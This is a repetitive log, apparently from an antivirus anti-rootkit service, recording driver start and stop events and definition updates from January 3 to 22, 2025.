AR2DEV: Stopped 1 2025-01-03 22:34:33 AVAVER: 21.2.2455 AR2: 241205 defs: 25010302 2025-01-03 22:34:33 ARPOT2: Start 4316 2025-01-03 22:34:33 AR2CFG: 241205 2025-01-03 22:34:33 AR2DEV: Start 1 Driver: 210305 2025-01-04 02:35:26 AR2DEV: Stopped 1 2025-01-04 02:35:26 AVAVER: 21.2.2455 AR2: 241205 defs: 25010304 2025-01-04 02:35:26 ARPOT2: Start 2644 2025-01-04 02:35:26 AR2CFG: 241205 2025-01-04 02:35:26 AR2DEV: Start 1 Driver: 210305 2025-01-04 02:35:26 AR2DEV: Stopped 1 2025-01-04 02:35:26 AVAVER: 21.2.2455 AR2: 241205 defs: 25010304 2025-01-04 02:35:26 ARPOT2: Start 6376 2025-01-04 02:35:26 AR2CFG: 241205 2025-01-04 02:35:26 AR2DEV: Start 1 Driver: 210305 2025-01-04 14:36:32 AR2DEV: Stopped 1 2025-01-04 14:36:32 AVAVER: 21.2.2455 AR2: 241205 defs: 25010400 2025-01-04 14:36:32 ARPOT2: Start 788 2025-01-04 14:36:32 AR2CFG: 241205 2025-01-04 14:36:33 AR2DEV: Start 1 Driver: 210305 2025-01-04 14:36:33 AR2DEV: Stopped 1 2025-01-04 14:36:33 AVAVER: 21.2.2455 AR2: 241205 defs: 25010400 2025-01-04 14:36:33 ARPOT2: Start 6684 2025-01-04 14:36:33 AR2CFG: 241205 2025-01-04 14:36:33 AR2DEV: Start 1 Driver: 210305 2025-01-04 22:37:33 AR2DEV: Stopped 1 2025-01-04 22:37:33 AVAVER: 21.2.2455 AR2: 241205 defs: 25010402 2025-01-04 22:37:33 ARPOT2: Start 6472 2025-01-04 22:37:33 AR2CFG: 241205 2025-01-04 22:37:33 AR2DEV: Start 1 Driver: 210305 2025-01-04 22:37:33 AR2DEV: Stopped 1 2025-01-04 22:37:33 AVAVER: 21.2.2455 AR2: 241205 defs: 25010402 2025-01-04 22:37:33 ARPOT2: Start 2452 2025-01-04 22:37:33 AR2CFG: 241205 2025-01-04 22:37:33 AR2DEV: Start 1 Driver: 210305 2025-01-05 22:39:16 AR2DEV: Stopped 1 2025-01-05 22:39:16 AVAVER: 21.2.2455 AR2: 241205 defs: 25010504 2025-01-05 22:39:16 ARPOT2: Start 2708 2025-01-05 22:39:16 AR2CFG: 241205 2025-01-05 22:39:16 AR2DEV: Start 1 Driver: 210305 2025-01-05 22:39:17 AR2DEV: Stopped 1 2025-01-05 22:39:17 AVAVER: 21.2.2455 AR2: 241205 defs: 25010504 2025-01-05 22:39:17 ARPOT2: Start 6856 2025-01-05 22:39:17 AR2CFG: 241205 2025-01-05 22:39:17 AR2DEV: Start 1 Driver: 210305 2025-01-06 02:40:17 AR2DEV: Stopped 1 2025-01-06 02:40:17 AVAVER: 21.2.2455 AR2: 241205 defs: 25010506 2025-01-06 02:40:17 ARPOT2: Start 4112 2025-01-06 02:40:17 AR2CFG: 241205 2025-01-06 02:40:17 AR2DEV: Start 1 Driver: 210305 2025-01-06 02:40:17 AR2DEV: Stopped 1 2025-01-06 02:40:17 AVAVER: 21.2.2455 AR2: 241205 defs: 25010506 2025-01-06 02:40:17 ARPOT2: Start 7024 2025-01-06 02:40:17 AR2CFG: 241205 2025-01-06 02:40:17 AR2DEV: Start 1 Driver: 210305 2025-01-06 14:41:32 AR2DEV: Stopped 1 2025-01-06 14:41:32 AVAVER: 21.2.2455 AR2: 241205 defs: 25010600 2025-01-06 14:41:32 ARPOT2: Start 7164 2025-01-06 14:41:32 AR2CFG: 241205 2025-01-06 14:41:32 AR2DEV: Start 1 Driver: 210305 2025-01-06 14:41:32 AR2DEV: Stopped 1 2025-01-06 14:41:32 AVAVER: 21.2.2455 AR2: 241205 defs: 25010600 2025-01-06 14:41:32 ARPOT2: Start 6908 2025-01-06 14:41:32 AR2CFG: 241205 2025-01-06 14:41:32 AR2DEV: Start 1 Driver: 210305 2025-01-06 22:42:31 AR2DEV: Stopped 1 2025-01-06 22:42:31 AVAVER: 21.2.2455 AR2: 241230 defs: 25010602 2025-01-06 22:42:31 ARPOT2: Start 7004 2025-01-06 22:42:31 AR2CFG: 241230 2025-01-06 22:42:31 AR2DEV: Start 1 Driver: 210305 2025-01-06 22:42:31 AR2DEV: Stopped 1 2025-01-06 22:42:31 AVAVER: 21.2.2455 AR2: 241230 defs: 25010602 2025-01-06 22:42:31 ARPOT2: Start 2420 2025-01-06 22:42:31 AR2CFG: 241230 2025-01-06 22:42:31 AR2DEV: Start 1 Driver: 210305 2025-01-07 02:43:25 AR2DEV: Stopped 1 2025-01-07 02:43:25 AVAVER: 21.2.2455 AR2: 241230 defs: 25010604 2025-01-07 02:43:25 ARPOT2: Start 6220 2025-01-07 02:43:25 AR2CFG: 241230 2025-01-07 02:43:25 AR2DEV: Start 1 Driver: 210305 2025-01-07 02:43:25 AR2DEV: Stopped 1 2025-01-07 02:43:25 AVAVER: 21.2.2455 AR2: 241230 defs: 25010604 2025-01-07 02:43:25 ARPOT2: Start 5928 2025-01-07 02:43:26 AR2CFG: 241230 2025-01-07 02:43:26 AR2DEV: Start 1 Driver: 210305 2025-01-07 06:44:16 AR2DEV: Stopped 1 2025-01-07 06:44:16 AVAVER: 21.2.2455 AR2: 241230 defs: 25010606 2025-01-07 06:44:16 ARPOT2: Start 2312 2025-01-07 06:44:16 AR2CFG: 241230 2025-01-07 06:44:17 AR2DEV: Start 1 Driver: 210305 2025-01-07 06:44:17 AR2DEV: Stopped 1 2025-01-07 06:44:17 AVAVER: 21.2.2455 AR2: 241230 defs: 25010606 2025-01-07 06:44:17 ARPOT2: Start 5260 2025-01-07 06:44:17 AR2CFG: 241230 2025-01-07 06:44:17 AR2DEV: Start 1 Driver: 210305 2025-01-07 14:45:12 AR2DEV: Stopped 1 2025-01-07 14:45:12 AVAVER: 21.2.2455 AR2: 241230 defs: 25010700 2025-01-07 14:45:12 ARPOT2: Start 6800 2025-01-07 14:45:12 AR2CFG: 241230 2025-01-07 14:45:12 AR2DEV: Start 1 Driver: 210305 2025-01-07 14:45:12 AR2DEV: Stopped 1 2025-01-07 14:45:12 AVAVER: 21.2.2455 AR2: 241230 defs: 25010700 2025-01-07 14:45:12 ARPOT2: Start 7088 2025-01-07 14:45:12 AR2CFG: 241230 2025-01-07 14:45:12 AR2DEV: Start 1 Driver: 210305 2025-01-07 22:46:06 AR2DEV: Stopped 1 2025-01-07 22:46:06 AVAVER: 21.2.2455 AR2: 241230 defs: 25010702 2025-01-07 22:46:06 ARPOT2: Start 4112 2025-01-07 22:46:06 AR2CFG: 241230 2025-01-07 22:46:06 AR2DEV: Start 1 Driver: 210305 2025-01-07 22:46:07 AR2DEV: Stopped 1 2025-01-07 22:46:07 AVAVER: 21.2.2455 AR2: 241230 defs: 25010702 2025-01-07 22:46:07 ARPOT2: Start 7032 2025-01-07 22:46:07 AR2CFG: 241230 2025-01-07 22:46:07 AR2DEV: Start 1 Driver: 210305 2025-01-08 02:46:56 AR2DEV: Stopped 1 2025-01-08 02:46:56 AVAVER: 21.2.2455 AR2: 241230 defs: 25010704 2025-01-08 02:46:56 ARPOT2: Start 3980 2025-01-08 02:46:56 AR2CFG: 241230 2025-01-08 02:46:57 AR2DEV: Start 1 Driver: 210305 2025-01-08 02:46:57 AR2DEV: Stopped 1 2025-01-08 02:46:57 AVAVER: 21.2.2455 AR2: 241230 defs: 25010704 2025-01-08 02:46:57 ARPOT2: Start 1004 2025-01-08 02:46:57 AR2CFG: 241230 2025-01-08 02:46:57 AR2DEV: Start 1 Driver: 210305 2025-01-08 14:48:11 AR2DEV: Stopped 1 2025-01-08 14:48:11 AVAVER: 21.2.2455 AR2: 241230 defs: 25010800 2025-01-08 14:48:11 ARPOT2: Start 2916 2025-01-08 14:48:11 AR2CFG: 241230 2025-01-08 14:48:11 AR2DEV: Start 1 Driver: 210305 2025-01-08 14:48:13 AR2DEV: Stopped 1 2025-01-08 14:48:13 AVAVER: 21.2.2455 AR2: 241230 defs: 25010800 2025-01-08 14:48:13 ARPOT2: Start 6488 2025-01-08 14:48:13 AR2CFG: 241230 2025-01-08 14:48:13 AR2DEV: Start 1 Driver: 210305 2025-01-08 22:49:12 AR2DEV: Stopped 1 2025-01-08 22:49:12 AVAVER: 21.2.2455 AR2: 241230 defs: 25010802 2025-01-08 22:49:12 ARPOT2: Start 6824 2025-01-08 22:49:12 AR2CFG: 241230 2025-01-08 22:49:12 AR2DEV: Start 1 Driver: 210305 2025-01-08 22:49:12 AR2DEV: Stopped 1 2025-01-08 22:49:12 AVAVER: 21.2.2455 AR2: 241230 defs: 25010802 2025-01-08 22:49:12 ARPOT2: Start 3864 2025-01-08 22:49:12 AR2CFG: 241230 2025-01-08 22:49:12 AR2DEV: Start 1 Driver: 210305 2025-01-09 02:50:15 AR2DEV: Stopped 1 2025-01-09 02:50:15 AVAVER: 21.2.2455 AR2: 241230 defs: 25010804 2025-01-09 02:50:15 ARPOT2: Start 6476 2025-01-09 02:50:15 AR2CFG: 250108 VPS 2025-01-09 02:50:15 AR2DEV: Start 1 Driver: 210305 2025-01-09 02:50:16 AR2DEV: Stopped 1 2025-01-09 02:50:16 AVAVER: 21.2.2455 AR2: 241230 defs: 25010804 2025-01-09 02:50:16 ARPOT2: Start 6264 2025-01-09 02:50:16 AR2CFG: 250108 VPS 2025-01-09 02:50:16 AR2DEV: Start 1 Driver: 210305 2025-01-09 14:51:16 AR2DEV: Stopped 1 2025-01-09 14:51:16 AVAVER: 21.2.2455 AR2: 241230 defs: 25010900 2025-01-09 14:51:16 ARPOT2: Start 2736 2025-01-09 14:51:16 AR2CFG: 250108 VPS 2025-01-09 14:51:16 AR2DEV: Start 1 Driver: 210305 2025-01-09 14:51:17 AR2DEV: Stopped 1 2025-01-09 14:51:17 AVAVER: 21.2.2455 AR2: 241230 defs: 25010900 2025-01-09 14:51:17 ARPOT2: Start 6704 2025-01-09 14:51:17 AR2CFG: 250108 VPS 2025-01-09 14:51:17 AR2DEV: Start 1 Driver: 210305 2025-01-09 22:52:24 AR2DEV: Stopped 1 2025-01-09 22:52:24 AVAVER: 21.2.2455 AR2: 250107 defs: 25010902 2025-01-09 22:52:24 ARPOT2: Start 6812 2025-01-09 22:52:24 AR2CFG: 250108 VPS 2025-01-09 22:52:24 AR2DEV: Start 1 Driver: 210305 2025-01-09 22:52:25 AR2DEV: Stopped 1 2025-01-09 22:52:25 AVAVER: 21.2.2455 AR2: 250107 defs: 25010902 2025-01-09 22:52:25 ARPOT2: Start 6292 2025-01-09 22:52:25 AR2CFG: 250108 VPS 2025-01-09 22:52:25 AR2DEV: Start 1 Driver: 210305 2025-01-10 02:53:27 AR2DEV: Stopped 1 2025-01-10 02:53:27 AVAVER: 21.2.2455 AR2: 250107 defs: 25010906 2025-01-10 02:53:27 ARPOT2: Start 6940 2025-01-10 02:53:27 AR2CFG: 250108 VPS 2025-01-10 02:53:27 AR2DEV: Start 1 Driver: 210305 2025-01-10 02:53:27 AR2DEV: Stopped 1 2025-01-10 02:53:27 AVAVER: 21.2.2455 AR2: 250107 defs: 25010906 2025-01-10 02:53:27 ARPOT2: Start 2796 2025-01-10 02:53:27 AR2CFG: 250108 VPS 2025-01-10 02:53:28 AR2DEV: Start 1 Driver: 210305 2025-01-10 14:54:35 AR2DEV: Stopped 1 2025-01-10 14:54:35 AVAVER: 21.2.2455 AR2: 250107 defs: 25011000 2025-01-10 14:54:35 ARPOT2: Start 4620 2025-01-10 14:54:35 AR2CFG: 250108 VPS 2025-01-10 14:54:36 AR2DEV: Start 1 Driver: 210305 2025-01-10 14:54:36 AR2DEV: Stopped 1 2025-01-10 14:54:36 AVAVER: 21.2.2455 AR2: 250107 defs: 25011000 2025-01-10 14:54:36 ARPOT2: Start 4168 2025-01-10 14:54:36 AR2CFG: 250108 VPS 2025-01-10 14:54:36 AR2DEV: Start 1 Driver: 210305 2025-01-10 22:55:48 AR2DEV: Stopped 1 2025-01-10 22:55:48 AVAVER: 21.2.2455 AR2: 250107 defs: 25011002 2025-01-10 22:55:48 ARPOT2: Start 6408 2025-01-10 22:55:48 AR2CFG: 250108 VPS 2025-01-10 22:55:48 AR2DEV: Start 1 Driver: 210305 2025-01-10 22:55:48 AR2DEV: Stopped 1 2025-01-10 22:55:48 AVAVER: 21.2.2455 AR2: 250107 defs: 25011002 2025-01-10 22:55:48 ARPOT2: Start 1536 2025-01-10 22:55:48 AR2CFG: 250108 VPS 2025-01-10 22:55:48 AR2DEV: Start 1 Driver: 210305 2025-01-11 02:56:52 AR2DEV: Stopped 1 2025-01-11 02:56:52 AVAVER: 21.2.2455 AR2: 250107 defs: 25011006 2025-01-11 02:56:52 ARPOT2: Start 6204 2025-01-11 02:56:52 AR2CFG: 250108 VPS 2025-01-11 02:56:52 AR2DEV: Start 1 Driver: 210305 2025-01-11 02:56:52 AR2DEV: Stopped 1 2025-01-11 02:56:52 AVAVER: 21.2.2455 AR2: 250107 defs: 25011006 2025-01-11 02:56:52 ARPOT2: Start 6396 2025-01-11 02:56:52 AR2CFG: 250108 VPS 2025-01-11 02:56:52 AR2DEV: Start 1 Driver: 210305 2025-01-11 14:57:59 AR2DEV: Stopped 1 2025-01-11 14:57:59 AVAVER: 21.2.2455 AR2: 250107 defs: 25011100 2025-01-11 14:57:59 ARPOT2: Start 2644 2025-01-11 14:57:59 AR2CFG: 250108 VPS 2025-01-11 14:57:59 AR2DEV: Start 1 Driver: 210305 2025-01-11 14:57:59 AR2DEV: Stopped 1 2025-01-11 14:57:59 AVAVER: 21.2.2455 AR2: 250107 defs: 25011100 2025-01-11 14:57:59 ARPOT2: Start 3720 2025-01-11 14:57:59 AR2CFG: 250108 VPS 2025-01-11 14:57:59 AR2DEV: Start 1 Driver: 210305 2025-01-11 22:59:14 AR2DEV: Stopped 1 2025-01-11 22:59:14 AVAVER: 21.2.2455 AR2: 250107 defs: 25011102 2025-01-11 22:59:14 ARPOT2: Start 1516 2025-01-11 22:59:14 AR2CFG: 250108 VPS 2025-01-11 22:59:14 AR2DEV: Start 1 Driver: 210305 2025-01-11 22:59:14 AR2DEV: Stopped 1 2025-01-11 22:59:14 AVAVER: 21.2.2455 AR2: 250107 defs: 25011102 2025-01-11 22:59:14 ARPOT2: Start 6992 2025-01-11 22:59:14 AR2CFG: 250108 VPS 2025-01-11 22:59:14 AR2DEV: Start 1 Driver: 210305 2025-01-12 03:00:11 AR2DEV: Stopped 1 2025-01-12 03:00:11 AVAVER: 21.2.2455 AR2: 250107 defs: 25011104 2025-01-12 03:00:11 ARPOT2: Start 4416 2025-01-12 03:00:11 AR2CFG: 250108 VPS 2025-01-12 03:00:11 AR2DEV: Start 1 Driver: 210305 2025-01-12 03:00:12 AR2DEV: Stopped 1 2025-01-12 03:00:12 AVAVER: 21.2.2455 AR2: 250107 defs: 25011104 2025-01-12 03:00:12 ARPOT2: Start 1440 2025-01-12 03:00:12 AR2CFG: 250108 VPS 2025-01-12 03:00:12 AR2DEV: Start 1 Driver: 210305 2025-01-12 15:01:33 AR2DEV: Stopped 1 2025-01-12 15:01:33 AVAVER: 21.2.2455 AR2: 250107 defs: 25011200 2025-01-12 15:01:33 ARPOT2: Start 6204 2025-01-12 15:01:33 AR2CFG: 250108 VPS 2025-01-12 15:01:34 AR2DEV: Start 1 Driver: 210305 2025-01-12 15:01:34 AR2DEV: Stopped 1 2025-01-12 15:01:34 AVAVER: 21.2.2455 AR2: 250107 defs: 25011200 2025-01-12 15:01:34 ARPOT2: Start 6816 2025-01-12 15:01:34 AR2CFG: 250108 VPS 2025-01-12 15:01:34 AR2DEV: Start 1 Driver: 210305 2025-01-12 23:02:37 AR2DEV: Stopped 1 2025-01-12 23:02:37 AVAVER: 21.2.2455 AR2: 250107 defs: 25011202 2025-01-12 23:02:37 ARPOT2: Start 7080 2025-01-12 23:02:37 AR2CFG: 250108 VPS 2025-01-12 23:02:37 AR2DEV: Start 1 Driver: 210305 2025-01-12 23:02:38 AR2DEV: Stopped 1 2025-01-12 23:02:38 AVAVER: 21.2.2455 AR2: 250107 defs: 25011202 2025-01-12 23:02:38 ARPOT2: Start 5772 2025-01-12 23:02:38 AR2CFG: 250108 VPS 2025-01-12 23:02:38 AR2DEV: Start 1 Driver: 210305 2025-01-13 03:03:34 AR2DEV: Stopped 1 2025-01-13 03:03:34 AVAVER: 21.2.2455 AR2: 250107 defs: 25011204 2025-01-13 03:03:34 ARPOT2: Start 4600 2025-01-13 03:03:34 AR2CFG: 250108 VPS 2025-01-13 03:03:34 AR2DEV: Start 1 Driver: 210305 2025-01-13 03:03:35 AR2DEV: Stopped 1 2025-01-13 03:03:35 AVAVER: 21.2.2455 AR2: 250107 defs: 25011204 2025-01-13 03:03:35 ARPOT2: Start 6928 2025-01-13 03:03:35 AR2CFG: 250108 VPS 2025-01-13 03:03:35 AR2DEV: Start 1 Driver: 210305 2025-01-13 15:04:40 AR2DEV: Stopped 1 2025-01-13 15:04:40 AVAVER: 21.2.2455 AR2: 250107 defs: 25011300 2025-01-13 15:04:40 ARPOT2: Start 1332 2025-01-13 15:04:40 AR2CFG: 250108 VPS 2025-01-13 15:04:40 AR2DEV: Start 1 Driver: 210305 2025-01-13 15:04:41 AR2DEV: Stopped 1 2025-01-13 15:04:41 AVAVER: 21.2.2455 AR2: 250107 defs: 25011300 2025-01-13 15:04:41 ARPOT2: Start 4668 2025-01-13 15:04:41 AR2CFG: 250108 VPS 2025-01-13 15:04:41 AR2DEV: Start 1 Driver: 210305 2025-01-13 20:55:22 AR2DEV: Stopped 1 2025-01-13 20:55:22 AVAVER: 21.2.2455 AR2: 250107 defs: 25011302 2025-01-13 20:55:22 ARPOT2: Start 6708 2025-01-13 20:55:22 AR2CFG: 250108 VPS 2025-01-13 20:55:22 AR2DEV: Start 1 Driver: 210305 2025-01-13 20:55:23 AR2DEV: Stopped 1 2025-01-13 20:55:23 AVAVER: 21.2.2455 AR2: 250107 defs: 25011302 2025-01-13 20:55:23 ARPOT2: Start 7048 2025-01-13 20:55:23 AR2CFG: 250108 VPS 2025-01-13 20:55:23 AR2DEV: Start 1 Driver: 210305 2025-01-14 04:56:37 AR2DEV: Stopped 1 2025-01-14 04:56:37 AVAVER: 21.2.2455 AR2: 250107 defs: 25011304 2025-01-14 04:56:37 ARPOT2: Start 6852 2025-01-14 04:56:37 AR2CFG: 250108 VPS 2025-01-14 04:56:37 AR2DEV: Start 1 Driver: 210305 2025-01-14 04:56:38 AR2DEV: Stopped 1 2025-01-14 04:56:38 AVAVER: 21.2.2455 AR2: 250107 defs: 25011304 2025-01-14 04:56:38 ARPOT2: Start 6172 2025-01-14 04:56:38 AR2CFG: 250108 VPS 2025-01-14 04:56:38 AR2DEV: Start 1 Driver: 210305 2025-01-15 00:57:59 AR2DEV: Stopped 1 2025-01-15 00:57:59 AVAVER: 21.2.2455 AR2: 250110 defs: 25011416 2025-01-15 00:57:59 ARPOT2: Start 6592 2025-01-15 00:57:59 AR2CFG: 250109 2025-01-15 00:57:59 AR2DEV: Start 1 Driver: 210305 2025-01-15 00:58:00 AR2DEV: Stopped 1 2025-01-15 00:58:00 AVAVER: 21.2.2455 AR2: 250110 defs: 25011416 2025-01-15 00:58:00 ARPOT2: Start 6316 2025-01-15 00:58:00 AR2CFG: 250109 2025-01-15 00:58:00 AR2DEV: Start 1 Driver: 210305 2025-01-15 04:58:58 AR2DEV: Stopped 1 2025-01-15 04:58:58 AVAVER: 21.2.2455 AR2: 250110 defs: 25011422 2025-01-15 04:58:58 ARPOT2: Start 5880 2025-01-15 04:58:58 AR2CFG: 250109 2025-01-15 04:58:58 AR2DEV: Start 1 Driver: 210305 2025-01-15 04:58:58 AR2DEV: Stopped 1 2025-01-15 04:58:58 AVAVER: 21.2.2455 AR2: 250110 defs: 25011422 2025-01-15 04:58:58 ARPOT2: Start 1916 2025-01-15 04:58:58 AR2CFG: 250109 2025-01-15 04:58:58 AR2DEV: Start 1 Driver: 210305 2025-01-16 01:00:19 AR2DEV: Stopped 1 2025-01-16 01:00:20 AVAVER: 21.2.2455 AR2: 250110 defs: 25011508 2025-01-16 01:00:20 ARPOT2: Start 6316 2025-01-16 01:00:20 AR2CFG: 250109 2025-01-16 01:00:20 AR2DEV: Start 1 Driver: 210305 2025-01-16 01:00:22 AR2DEV: Stopped 1 2025-01-16 01:00:22 AVAVER: 21.2.2455 AR2: 250110 defs: 25011508 2025-01-16 01:00:22 ARPOT2: Start 5676 2025-01-16 01:00:22 AR2CFG: 250109 2025-01-16 01:00:22 AR2DEV: Start 1 Driver: 210305 2025-01-16 05:01:26 AR2DEV: Stopped 1 2025-01-16 05:01:26 AVAVER: 21.2.2455 AR2: 250110 defs: 25011510 2025-01-16 05:01:26 ARPOT2: Start 6532 2025-01-16 05:01:26 AR2CFG: 250109 2025-01-16 05:01:26 AR2DEV: Start 1 Driver: 210305 2025-01-16 05:01:29 AR2DEV: Stopped 1 2025-01-16 05:01:29 AVAVER: 21.2.2455 AR2: 250110 defs: 25011510 2025-01-16 05:01:29 ARPOT2: Start 6660 2025-01-16 05:01:29 AR2CFG: 250109 2025-01-16 05:01:29 AR2DEV: Start 1 Driver: 210305 2025-01-16 21:03:04 AR2DEV: Stopped 1 2025-01-16 21:03:04 AVAVER: 21.2.2455 AR2: 250110 defs: 25011604 2025-01-16 21:03:04 ARPOT2: Start 7160 2025-01-16 21:03:04 AR2CFG: 250109 2025-01-16 21:03:04 AR2DEV: Start 1 Driver: 210305 2025-01-16 21:03:04 AR2DEV: Stopped 1 2025-01-16 21:03:04 AVAVER: 21.2.2455 AR2: 250110 defs: 25011604 2025-01-16 21:03:04 ARPOT2: Start 1536 2025-01-16 21:03:04 AR2CFG: 250109 2025-01-16 21:03:04 AR2DEV: Start 1 Driver: 210305 2025-01-17 05:04:17 AR2DEV: Stopped 1 2025-01-17 05:04:17 AVAVER: 21.2.2455 AR2: 250110 defs: 25011610 2025-01-17 05:04:17 ARPOT2: Start 6568 2025-01-17 05:04:17 AR2CFG: 250116 VPS 2025-01-17 05:04:17 AR2DEV: Start 1 Driver: 210305 2025-01-17 05:04:17 AR2DEV: Stopped 1 2025-01-17 05:04:17 AVAVER: 21.2.2455 AR2: 250110 defs: 25011610 2025-01-17 05:04:17 ARPOT2: Start 6920 2025-01-17 05:04:17 AR2CFG: 250116 VPS 2025-01-17 05:04:18 AR2DEV: Start 1 Driver: 210305 2025-01-17 09:05:15 AR2DEV: Stopped 1 2025-01-17 09:05:15 AVAVER: 21.2.2455 AR2: 250110 defs: 25011612 2025-01-17 09:05:15 ARPOT2: Start 5200 2025-01-17 09:05:15 AR2CFG: 250116 VPS 2025-01-17 09:05:15 AR2DEV: Start 1 Driver: 210305 2025-01-17 09:05:15 AR2DEV: Stopped 1 2025-01-17 09:05:15 AVAVER: 21.2.2455 AR2: 250110 defs: 25011612 2025-01-17 09:05:15 ARPOT2: Start 6224 2025-01-17 09:05:15 AR2CFG: 250116 VPS 2025-01-17 09:05:15 AR2DEV: Start 1 Driver: 210305 2025-01-17 17:06:25 AR2DEV: Stopped 1 2025-01-17 17:06:25 AVAVER: 21.2.2455 AR2: 250110 defs: 25011702 2025-01-17 17:06:25 ARPOT2: Start 6820 2025-01-17 17:06:25 AR2CFG: 250116 VPS 2025-01-17 17:06:25 AR2DEV: Start 1 Driver: 210305 2025-01-17 17:06:25 AR2DEV: Stopped 1 2025-01-17 17:06:25 AVAVER: 21.2.2455 AR2: 250110 defs: 25011702 2025-01-17 17:06:25 ARPOT2: Start 6740 2025-01-17 17:06:25 AR2CFG: 250116 VPS 2025-01-17 17:06:25 AR2DEV: Start 1 Driver: 210305 2025-01-18 01:07:36 AR2DEV: Stopped 1 2025-01-18 01:07:36 AVAVER: 21.2.2455 AR2: 250110 defs: 25011706 2025-01-18 01:07:36 ARPOT2: Start 7164 2025-01-18 01:07:36 AR2CFG: 250116 VPS 2025-01-18 01:07:36 AR2DEV: Start 1 Driver: 210305 2025-01-18 01:07:36 AR2DEV: Stopped 1 2025-01-18 01:07:36 AVAVER: 21.2.2455 AR2: 250110 defs: 25011706 2025-01-18 01:07:36 ARPOT2: Start 5628 2025-01-18 01:07:36 AR2CFG: 250116 VPS 2025-01-18 01:07:36 AR2DEV: Start 1 Driver: 210305 2025-01-18 05:08:28 AR2DEV: Stopped 1 2025-01-18 05:08:28 AVAVER: 21.2.2455 AR2: 250110 defs: 25011708 2025-01-18 05:08:28 ARPOT2: Start 6032 2025-01-18 05:08:28 AR2CFG: 250116 VPS 2025-01-18 05:08:28 AR2DEV: Start 1 Driver: 210305 2025-01-18 05:08:28 AR2DEV: Stopped 1 2025-01-18 05:08:28 AVAVER: 21.2.2455 AR2: 250110 defs: 25011708 2025-01-18 05:08:28 ARPOT2: Start 6912 2025-01-18 05:08:28 AR2CFG: 250116 VPS 2025-01-18 05:08:28 AR2DEV: Start 1 Driver: 210305 2025-01-18 21:09:41 AR2DEV: Stopped 1 2025-01-18 21:09:41 AVAVER: 21.2.2455 AR2: 250110 defs: 25011802 2025-01-18 21:09:41 ARPOT2: Start 7116 2025-01-18 21:09:41 AR2CFG: 250116 VPS 2025-01-18 21:09:41 AR2DEV: Start 1 Driver: 210305 2025-01-18 21:09:41 AR2DEV: Stopped 1 2025-01-18 21:09:41 AVAVER: 21.2.2455 AR2: 250110 defs: 25011802 2025-01-18 21:09:41 ARPOT2: Start 6444 2025-01-18 21:09:41 AR2CFG: 250116 VPS 2025-01-18 21:09:41 AR2DEV: Start 1 Driver: 210305 2025-01-19 05:10:53 AR2DEV: Stopped 1 2025-01-19 05:10:53 AVAVER: 21.2.2455 AR2: 250110 defs: 25011804 2025-01-19 05:10:53 ARPOT2: Start 7680 2025-01-19 05:10:53 AR2CFG: 250116 VPS 2025-01-19 05:10:53 AR2DEV: Start 1 Driver: 210305 2025-01-19 05:10:53 AR2DEV: Stopped 1 2025-01-19 05:10:53 AVAVER: 21.2.2455 AR2: 250110 defs: 25011804 2025-01-19 05:10:53 ARPOT2: Start 5628 2025-01-19 05:10:53 AR2CFG: 250116 VPS 2025-01-19 05:10:53 AR2DEV: Start 1 Driver: 210305 2025-01-19 21:12:04 AR2DEV: Stopped 1 2025-01-19 21:12:04 AVAVER: 21.2.2455 AR2: 250110 defs: 25011904 2025-01-19 21:12:04 ARPOT2: Start 1004 2025-01-19 21:12:04 AR2CFG: 250116 VPS 2025-01-19 21:12:04 AR2DEV: Start 1 Driver: 210305 2025-01-19 21:12:04 AR2DEV: Stopped 1 2025-01-19 21:12:04 AVAVER: 21.2.2455 AR2: 250110 defs: 25011904 2025-01-19 21:12:04 ARPOT2: Start 1328 2025-01-19 21:12:04 AR2CFG: 250116 VPS 2025-01-19 21:12:04 AR2DEV: Start 1 Driver: 210305 2025-01-20 01:13:02 AR2DEV: Stopped 1 2025-01-20 01:13:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25011906 2025-01-20 01:13:02 ARPOT2: Start 8188 2025-01-20 01:13:02 AR2CFG: 250116 VPS 2025-01-20 01:13:02 AR2DEV: Start 1 Driver: 210305 2025-01-20 01:13:02 AR2DEV: Stopped 1 2025-01-20 01:13:02 AVAVER: 21.2.2455 AR2: 250110 defs: 25011906 2025-01-20 01:13:02 ARPOT2: Start 7356 2025-01-20 01:13:02 AR2CFG: 250116 VPS 2025-01-20 01:13:02 AR2DEV: Start 1 Driver: 210305 2025-01-20 21:14:40 AR2DEV: Stopped 1 2025-01-20 21:14:40 AVAVER: 21.2.2455 AR2: 250110 defs: 25012006 2025-01-20 21:14:40 ARPOT2: Start 872 2025-01-20 21:14:40 AR2CFG: 250116 VPS 2025-01-20 21:14:40 AR2DEV: Start 1 Driver: 210305 2025-01-20 21:14:40 AR2DEV: Stopped 1 2025-01-20 21:14:40 AVAVER: 21.2.2455 AR2: 250110 defs: 25012006 2025-01-20 21:14:40 ARPOT2: Start 7852 2025-01-20 21:14:40 AR2CFG: 250116 VPS 2025-01-20 21:14:40 AR2DEV: Start 1 Driver: 210305 2025-01-21 05:15:40 AR2DEV: Stopped 1 2025-01-21 05:15:40 AVAVER: 21.2.2455 AR2: 250110 defs: 25012012 2025-01-21 05:15:40 ARPOT2: Start 7576 2025-01-21 05:15:40 AR2CFG: 250116 VPS 2025-01-21 05:15:40 AR2DEV: Start 1 Driver: 210305 2025-01-21 05:15:40 AR2DEV: Stopped 1 2025-01-21 05:15:40 AVAVER: 21.2.2455 AR2: 250110 defs: 25012012 2025-01-21 05:15:40 ARPOT2: Start 8176 2025-01-21 05:15:40 AR2CFG: 250116 VPS 2025-01-21 05:15:40 AR2DEV: Start 1 Driver: 210305 2025-01-21 17:16:47 AR2DEV: Stopped 1 2025-01-21 17:16:47 AVAVER: 21.2.2455 AR2: 250110 defs: 25012100 2025-01-21 17:16:47 ARPOT2: Start 7208 2025-01-21 17:16:47 AR2CFG: 250116 VPS 2025-01-21 17:16:47 AR2DEV: Start 1 Driver: 210305 2025-01-21 17:16:47 AR2DEV: Stopped 1 2025-01-21 17:16:47 AVAVER: 21.2.2455 AR2: 250110 defs: 25012100 2025-01-21 17:16:47 ARPOT2: Start 2948 2025-01-21 17:16:47 AR2CFG: 250116 VPS 2025-01-21 17:16:47 AR2DEV: Start 1 Driver: 210305 2025-01-22 05:18:06 AR2DEV: Stopped 1 2025-01-22 05:18:06 AVAVER: 21.2.2455 AR2: 250110 defs: 25012112 2025-01-22 05:18:06 ARPOT2: Start 7352 2025-01-22 05:18:06 AR2CFG: 250116 VPS 2025-01-22 05:18:06 AR2DEV: Start 1 Driver: 210305 2025-01-22 05:18:06 AR2DEV: Stopped 1 2025-01-22 05:18:06 AVAVER: 21.2.2455 AR2: 250110 defs: 25012112 2025-01-22 05:18:06 ARPOT2: Start 5132 